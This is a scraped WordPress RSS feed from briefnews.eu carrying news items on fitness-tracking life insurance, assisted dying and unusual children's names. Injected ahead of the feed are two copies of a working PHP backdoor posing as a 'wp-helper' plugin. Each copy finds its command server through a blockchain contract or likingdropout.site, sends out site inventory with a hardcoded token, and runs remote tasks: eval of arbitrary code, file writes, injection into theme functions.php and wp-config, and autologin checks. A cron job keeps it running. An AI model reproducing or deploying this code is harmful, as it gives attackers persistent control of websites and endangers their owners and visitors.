// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); choosing – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 22 Sep 2018 01:36:22 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png choosing – Brief News https://briefnews.eu 32 32 Privacy experts say choosing life insurance tied to fitness tracking could have unintended consequences https://briefnews.eu/privacy-experts-say-choosing-life-insurance-tied-to-fitness-tracking-could-have-unintended-consequences/ https://briefnews.eu/privacy-experts-say-choosing-life-insurance-tied-to-fitness-tracking-could-have-unintended-consequences/#respond Sat, 22 Sep 2018 01:36:22 +0000 http://briefnews.eu/privacy-experts-say-choosing-life-insurance-tied-to-fitness-tracking-could-have-unintended-consequences/ Healthy Candidates

Insurance giant John Hancock has announced a switch to ‘interactive’ life-insurance policies only, which offer incentives for things like wearing a fitness tracking device. Privacy experts worry these optional programs won’t be optional don’t the road.

]]> https://briefnews.eu/privacy-experts-say-choosing-life-insurance-tied-to-fitness-tracking-could-have-unintended-consequences/feed/ 0 N.S. woman choosing to die earlier than she wants due to ‘extreme’ assisted-dying law https://briefnews.eu/n-s-woman-choosing-to-die-earlier-than-she-wants-due-to-extreme-assisted-dying-law/ https://briefnews.eu/n-s-woman-choosing-to-die-earlier-than-she-wants-due-to-extreme-assisted-dying-law/#respond Wed, 19 Sep 2018 18:27:38 +0000 http://briefnews.eu/n-s-woman-choosing-to-die-earlier-than-she-wants-due-to-extreme-assisted-dying-law/ Audrey Parker

A Nova Scotia woman who is choosing a medically assisted death says she will end her life earlier than she really wants because she’s worried doctors will deny her the procedure if she loses her mental capacity to consent before that time arrives.

]]> https://briefnews.eu/n-s-woman-choosing-to-die-earlier-than-she-wants-due-to-extreme-assisted-dying-law/feed/ 0 Why More People Are Choosing Unique Children's Names https://briefnews.eu/why-more-people-are-choosing-unique-childrens-names/ https://briefnews.eu/why-more-people-are-choosing-unique-childrens-names/#respond Mon, 23 Jul 2018 15:31:13 +0000 http://briefnews.eu/why-more-people-are-choosing-unique-childrens-names/

A kindergarten teacher tells her students to form a circle on the floor while she takes attendance. A stampede of 5-year-olds scrambles over, and after several minutes spent squirming and rearranging limbs, they finally manage to settle down into some semblance of a round shape. The teacher begins roll call — “Dionysus?” “Here!” says a tiny blond girl. “Basil?” “Here!” shrieks a small boy. “J—Jone … or John?” the teacher hesitantly says. “Am I saying that right?” “Yes,” John says quietly. The other kids turn and stare at him. “John?” questions the girl named Dionysus. “What a weird name!” All the kids squeal with laughter.

It’s not just celebrities who give their kids names like Apple and Pilot Inspektor. Creative names have been popular in many African-American communities since the Black Power movement of the 1960s and ’70s, as activists called for Black people to choose names with African significance. Today, Americans of all backgrounds are increasingly picking unusual names for their children. A 2016 Goldman Sachs report found that in 1940, 20 percent of all male babies in the U.S. were given one of the top five most popular names in the country. By 2014, that number had dropped to just 4 percent.

Before the internet, no one realized how popular certain names were, but now the information is out there.

Cleveland Evans, former president of the American Name Society

The internet, though not only baby-name websites, has been a key driver of this shift because parents can easily find out which names are most popular. If it was James, Robert and John or Mary, Linda and Barbara in 1940, today it’s Liam, Noah and William, as well as Emma, Olivia and Ava.

“Before the internet, no one realized how popular certain names were, but now the information is out there,” says Cleveland Evans, professor of psychology at Bellevue University and former president of the American Name Society. That’s how we ended up with so many Jennifers and Jessicas, born in the 1980s. Today, anyone can access naming data from the Social Security Administration and go against the trends if they so choose.

And more and more people are doing just that. When cosmetics entrepreneur Lu — who requested her last name not be used — learned she was pregnant, she knew right away she would give her baby a special name. “I hated my name growing up,” says Lu. “I wanted my kid to have a name with meaning.” Lu and her then husband, who’s Israeli, initially decided if they had a boy, they wanted to give him the Hebrew name for “my ocean,” which is pronounced LEE-yahm. But Lu liked the English translation better, so the couple chose “Ocean.” Today, Ocean is 12 and Lu says people constantly tell her how much they love his name.

Shermain Jeremy, a New York mommy blogger, also started thinking about names as soon as she learned she was pregnant. She wanted to give her child a unique name to make her stand out. “Your name is your banner,” Jeremy says. Inspired by J-Zay and Beyoncé naming their first child Blue Ivy, Jeremy wanted her kid to have two first names. “Rose” was her favorite; she also liked “Opal,” her first daughter’s birthstone. Jeremy threw in a hyphen to make sure no one would drop one name for the other. Today, Opal-Rose is 3 years old. Jeremy used the same formula for daughter No. 2, Ruby-Rain. “It’s about meaning and a sense of pride and identity,” says Jeremy, who has already purchased domain names for both daughters — Opal-rose.com and Ruby-rain.com — should they want them in the future.

Jeremy isn’t alone in using pop culture to choose a name. Last year, 69 people in the U.K. named their baby Khaleesi, after the character played by Emilia Clarke on HBO’s Game of Thrones, according to the Office for National Statistics. “It’s a different name, but it’s not too different,” says Evans, pointing out that “Khaleesi” sounds a little like the more familiar names Lisa or Kayley.

So are the Johns of the world feeling left out these days? Not yet. John Soat, a graphic designer in Brooklyn, New York, is named after his uncle and says he has no qualms with his name. “No one has ever told me, ‘Wow, that’s a beautiful name,’ but I don’t ever have to correct anyone after pronouncing it,” Soat says. He feels like the best names, regardless of how common they might be, tap into something unique about the individual.

The history of unique names runs deeper within African-American communities. During the civil rights and Black Power movements, African-American activists began distancing themselves from names associated with slavery. The rise of Elijah Muhammad’s Nation of Islam played into that trend too — after joining the Nation of Islam, Cassius Marcellus Clay changed his name to Muhammad Ali, in 1964. Many Black Power activists joined him. “There were concerted efforts on the part of Black people to adopt names that intentionally gave a nod to the continent,” says Nghana Lewis, associate professor of English and African diaspora studies at Tulane University in New Orleans. As part of the Black Power movement, Lewis’ parents chose her first name to ensure her connection with Ghana. The tradition of unique names among African-Americans is still going strong decades later, though today it’s more focused on connecting the child to family rather than to Africa, Lewis says. She recently christened a baby named Carjay — a combination of his parents’ first names.

But a unique name alone isn’t enough, says Elisabeth Waugaman, author of Women, Their Names, & the Stories They Tell. Whether it’s a common name or an unusual one, having a story behind it is more important to your identity, Waugaman argues. Whether their parents came up with it or it came from family history, the women she interviewed for her book were happiest when their names told a story. Waugaman also believes one reason unique names are more popular today is because each generation tries to separate itself from the previous one.

Over the past decade, several studies have been conducted that reveal names can affect job prospects. In 2003, the National Bureau of Economic Research found that job seekers with “White” names needed to submit 10 résumés to get one callback, while those with “Black” names needed to send 15 résumés to get one callback. A 2017 study published in PNAS, the journal of the National Academy of Sciences, found little has changed since then. White applicants receive 36 percent more callbacks on average than African-Americans. Education, gender and occupational group barely influenced the results.

Still, unique names continue to grow. “Kids with the top 50 names keep going down,” says Evans. And from pop culture influence to food, the methods people use to create new names is diversifying too. The name John isn’t dead. But the future, as in Game of Thrones, may belong to Khaleesi too.

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]]> https://briefnews.eu/why-more-people-are-choosing-unique-childrens-names/feed/ 0 Why More People Are Choosing Unique Names for Their Kids https://briefnews.eu/why-more-people-are-choosing-unique-names-for-their-kids/ https://briefnews.eu/why-more-people-are-choosing-unique-names-for-their-kids/#respond Mon, 23 Jul 2018 08:00:50 +0000 http://briefnews.eu/why-more-people-are-choosing-unique-names-for-their-kids/

A kindergarten teacher tells her students to form a circle on the floor while she takes attendance. A stampede of 5-year-olds scrambles over, and after several minutes spent squirming and rearranging limbs, they finally manage to settle down into some semblance of a round shape. The teacher begins roll call — “Dionysus?” “Here!” says a tiny blond girl. “Basil?” “Here!” shrieks a small boy. “J—Jone … or John?” the teacher hesitantly says. “Am I saying that right?” “Yes,” John says quietly. The other kids turn and stare at him. “John?” questions the girl named Dionysus. “What a weird name!” All the kids squeal with laughter.

It’s not just celebrities who give their kids names like Apple and Pilot Inspektor. Creative names have been popular in many African-American communities since the Black Power movement of the 1960s and ’70s, as activists called for Black people to choose names with African significance. Today, Americans of all backgrounds are increasingly picking unusual names for their children. A 2016 Goldman Sachs report found that in 1940, 20 percent of all male babies in the U.S. were given one of the top five most popular names in the country. By 2014, that number had dropped to just 4 percent.

Before the internet, no one realized how popular certain names were, but now the information is out there.

Cleveland Evans, former president of the American Name Society

The internet, though not only baby-name websites, has been a key driver of this shift because parents can easily find out which names are most popular. If it was James, Robert and John or Mary, Linda and Barbara in 1940, today it’s Liam, Noah and William, as well as Emma, Olivia and Ava.

“Before the internet, no one realized how popular certain names were, but now the information is out there,” says Cleveland Evans, professor of psychology at Bellevue University and former president of the American Name Society. That’s how we ended up with so many Jennifers and Jessicas, born in the 1980s. Today, anyone can access naming data from the Social Security Administration and go against the trends if they so choose.

And more and more people are doing just that. When cosmetics entrepreneur Lu — who requested her last name not be used — learned she was pregnant, she knew right away she would give her baby a special name. “I hated my name growing up,” says Lu. “I wanted my kid to have a name with meaning.” Lu and her then husband, who’s Israeli, initially decided if they had a boy, they wanted to give him the Hebrew name for “my ocean,” which is pronounced LEE-yahm. But Lu liked the English translation better, so the couple chose “Ocean.” Today, Ocean is 12 and Lu says people constantly tell her how much they love his name.

